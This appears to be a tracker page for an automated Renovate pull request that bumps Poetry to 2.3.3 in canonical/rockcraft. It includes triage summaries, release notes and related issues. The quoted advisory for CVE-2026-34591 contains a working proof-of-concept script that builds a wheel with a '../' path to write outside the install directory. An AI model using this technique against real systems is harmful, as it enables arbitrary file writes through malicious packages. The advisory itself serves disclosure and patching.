build(deps): update dependency poetry to v2.3.3 [security] (main) - autoclosed
Metadata
Current evaluation
Renovate's Poetry 2.3.3 security bump was autoclosed unmerged after snap-tests failed; later OSV cleanup landed in #1278 (f0b08615).
Resolution: closed superseded
Reason: PR #1168 was autoclosed without merging after snap-tests failed. Commit f0b08615 in PR #1278 subsequently updated dependencies to resolve OSV vulnerabilities.
Evaluated by: mr-cal-bot
No scores available.
Issue body
This PR contains the following updates:
| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [poetry](https://redirect.github.com/python-poetry/poetry) ([changelog](https://python-poetry.org/history/)) | `2.3.2` → `2.3.3` |  |  |
### GitHub Vulnerability Alerts
#### [CVE-2026-34591](https://redirect.github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp)
### Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.
### Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.
### Patches
Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.
### Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:
src/poetry/installation/wheel_installer.py:47
src/poetry/installation/wheel_installer.py:59
The vulnerable sink is reachable in normal installation:
src/poetry/installation/executor.py:607
No resolve() + is_relative_to() style guard is enforced before writing.
### POC
```
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination
root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
d.mkdir(parents=True, exist_ok=True)
files = {
"evil/__init__.py": b"",
"../../pwned.txt": b"owned\n",
"evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
"evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()
with zipfile.ZipFile(wheel, "w") as z:
for k,v in files.items(): z.writestr(k,v)
dest = WheelDestination(
{"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
install(src, dest, {"INSTALLER": b"PoC"})
out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
```
---
### Release Notes
<details>
<summary>python-poetry/poetry (poetry)</summary>
### [`v2.3.3`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#233---2026-03-29)
[Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.3.2...2.3.3)
##### Fixed
- **Fix a path traversal vulnerability in the wheel installer that could allow malicious wheel files to write files outside the intended installation directory** ([#​10792](https://redirect.github.com/python-poetry/poetry/pull/10792)).
- Fix an issue where `git` dependencies from annotated tags could not be updated ([#​10719](https://redirect.github.com/python-poetry/poetry/pull/10719)).
- Fix an issue where empty `VIRTUAL_ENV` or `CONDA_PREFIX` environment variables (e.g., after `conda deactivate`) would cause Poetry to incorrectly detect an active virtualenv ([#​10784](https://redirect.github.com/python-poetry/poetry/pull/10784)).
- Fix an issue where an incomprehensible error message was printed when `.venv` was a file instead of a directory ([#​10777](https://redirect.github.com/python-poetry/poetry/pull/10777)).
- Fix an issue where HTTP Basic Authentication credentials could be corrupted during request preparation, causing authentication failures with long tokens ([#​10748](https://redirect.github.com/python-poetry/poetry/pull/10748)).
- Fix an issue where `poetry publish --no-interaction --build` requested user interaction ([#​10769](https://redirect.github.com/python-poetry/poetry/pull/10769)).
- Fix an issue where `poetry init` and `poetry new` created a deprecated `project.license` format ([#​10787](https://redirect.github.com/python-poetry/poetry/pull/10787)).
##### Docs
- Clarify the differences between `poetry install` and `poetry update` ([#​10713](https://redirect.github.com/python-poetry/poetry/pull/10713)).
- Clarify the section of fields in the `pyproject.toml` examples ([#​10753](https://redirect.github.com/python-poetry/poetry/pull/10753)).
- Add a note about the different installation location when Python from the Microsoft Store is used ([#​10759](https://redirect.github.com/python-poetry/poetry/pull/10759)).
- Fix the system requirements for Poetry ([#​10739](https://redirect.github.com/python-poetry/poetry/pull/10739)).
- Fix the `poetry cache clear` example ([#​10749](https://redirect.github.com/python-poetry/poetry/pull/10749)).
- Fix the link to `pipx` installation instructions ([#​10783](https://redirect.github.com/python-poetry/poetry/pull/10783)).
##### poetry-core ([`2.3.2`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.3.2))
- Fix an issue where `platform_release` could not be parsed on Debian Trixie ([#​930](https://redirect.github.com/python-poetry/poetry-core/pull/930)).
- Fix an issue where using `project.readme.text` in the `pyproject.toml` file resulted in broken metadata ([#​914](https://redirect.github.com/python-poetry/poetry-core/pull/914)).
- Fix an issue where dependency groups were considered equal when their resolved dependencies were equal, even if the groups themselves were not ([#​919](https://redirect.github.com/python-poetry/poetry-core/pull/919)).
- Fix an issue where removing a dependency from a group that included another group resulted in other dependencies being added to the included group ([#​922](https://redirect.github.com/python-poetry/poetry-core/pull/922)).
- Fix an issue where PEP 735 `include-group` entries were lost when `[tool.poetry.group]` also defined `include-groups` for the same group ([#​924](https://redirect.github.com/python-poetry/poetry-core/pull/924)).
- Fix an issue where the union of `<value> not in <marker>` constraints was wrongly treated as always satisfied ([#​925](https://redirect.github.com/python-poetry/poetry-core/pull/925)).
- Fix an issue where a post release with a local version identifier was wrongly allowed by a `>` version constraint ([#​921](https://redirect.github.com/python-poetry/poetry-core/pull/921)).
- Fix an issue where a version with the local version identifier `0` was treated as equal to the corresponding public version ([#​920](https://redirect.github.com/python-poetry/poetry-core/pull/920)).
- Fix an issue where a `!= <version>` constraint wrongly disallowed pre releases and post releases of the specified version ([#​929](https://redirect.github.com/python-poetry/poetry-core/pull/929)).
- Fix an issue where `in` and `not in` constraints were wrongly not allowed by specific compound constraints ([#​927](https://redirect.github.com/python-poetry/poetry-core/pull/927)).
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" in timezone Etc/UTC, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
â™» **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/canonical/rockcraft).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMDIuNyIsInVwZGF0ZWRJblZlciI6IjQzLjEwMi43IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJQUjogRGVwZW5kZW5jaWVzIl19-->
Evaluation history
| Date | Model | Scores | Action | Summary |
|---|---|---|---|---|
| stealth/space-bunny-alpha | — | closed superseded | Renovate's Poetry 2.3.3 security bump was autoclosed unmerged after snap-tests failed; later OSV cleanup landed in #1278 (f0b08615). | |
| stealth/space-bunny-alpha | — | closed stale | Renovate PR #1168 was autoclosed unmerged after snap-tests failed, so the Poetry 2.3.3 update for CVE-2026-34591 did not land through this PR. | |
| stealth/space-bunny-alpha | — | closed stale | Renovate's Poetry 2.3.3 security update was autoclosed unmerged after snap-tests failed; the required CVE-2026-34591 update did not land through this PR. | |
| qwen/qwen3.6-35b-a3b | — | — | Renovate autoclosed the poetry v2.3.3 security update after snap-tests failed in CI. The dependency was not merged, leaving the repository unpatched against CVE-2026-34591. | |
| qwen3.6-35b-a3b-mtp-q6 | — | — | The Poetry v2.3.3 security update was autoclosed without merging. Renovate automatically closed the branch, likely because the vulnerability was patched separately or the update was handled through another channel. |
Update history
No update history recorded yet.
Related work
-
Superseded By:
canonical/rockcraft#1278
(confidence 90%)
Its merged dependency update addressed OSV vulnerabilities after #1168 failed and was closed.
Related issues
| Issue | Project | State | Summary | Similarity |
|---|---|---|---|---|
| #2625 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/3.5) - autoclosed | charmcraft | closed | Renovate's Poetry 2.3.3 security bump for hotfix/3.5 was autoclosed unmerged; the same CVE-2026-34591 fix landed via #2624 (5b858d29) on main and #2628 (36f30ad6) on hotfix/4.2. | |
| #1169 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/1.17) - autoclosed | rockcraft | closed | Renovate's Poetry 2.3.3 security bump for hotfix/1.17 was autoclosed unmerged, so #1169 did not deliver the CVE-2026-34591 remediation. Later #1278 may have covered the fix. | |
| #2626 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.0) | charmcraft | closed | Renovate PR #2626 (Poetry 2.1.4→2.3.3, CVE-2026-34591 fix, hotfix/4.0) was closed unmerged; the same upgrade merged in #2624 (5b858d29, main) and #2628 (36f30ad6, hotfix/4.2). | |
| #2627 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.1) | charmcraft | closed | Closed unmerged after equivalent Poetry 2.3.3 security updates merged in #2624 (5b858d29) for main and #2628 (36f30ad6) for hotfix/4.2. | |
| #2624 build(deps): update dependency poetry to v2.3.3 [security] (main) | charmcraft | merged | Renovate security bump of poetry 2.3.2 -> 2.3.3 (CVE-2026-34591 path traversal in wheel installer) merged into main via commit 5b858d29; +6/-6 in pyproject.toml. Equivalent backport landed as #2628 (36f30ad6). | |
| #2629 build(deps-dev): bump poetry from 2.3.2 to 2.3.3 | charmcraft | closed | Dependabot bump of dev dependency poetry 2.3.2→2.3.3 was closed unmerged by lengau as a duplicate of #2624, which already applied the same poetry security update to main (commit 5b858d29; also #2628 on hotfix/4.2, 36f30ad6). | |
| #2628 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.2) | charmcraft | merged | Merged in charmcraft#2628 via commit 36f30ad6, upgrading Poetry 2.3.2 to 2.3.3 to remediate CVE-2026-34591's malicious-wheel path traversal vulnerability. | |
| #6126 build(deps): update dependency requests to v2.33.0 [security] (hotfix/8.14) - autoclosed | snapcraft | closed | Renovate's hotfix/8.14 requests 2.33.0 update was autoclosed unmerged; the same security bump merged via canonical/snapcraft#6127 in fce681014. | |
| #6125 build(deps): update dependency requests to v2.33.0 [security] (main) - autoclosed | snapcraft | closed | Renovate PR #6125 (requests 2.32.5->2.33.0, CVE-2026-25645) was autoclosed as a duplicate; the same bump was merged via Dependabot PR #6127 in commit fce681014. | |
| #1335 build(deps): update dependency pip to v25 [security] (main) - autoclosed | craft-parts | closed | Renovate's pip 24.0 to 25.2 security update for CVE-2025-8869 was autoclosed unmerged after 359 days; no resolving PR or commit was found. |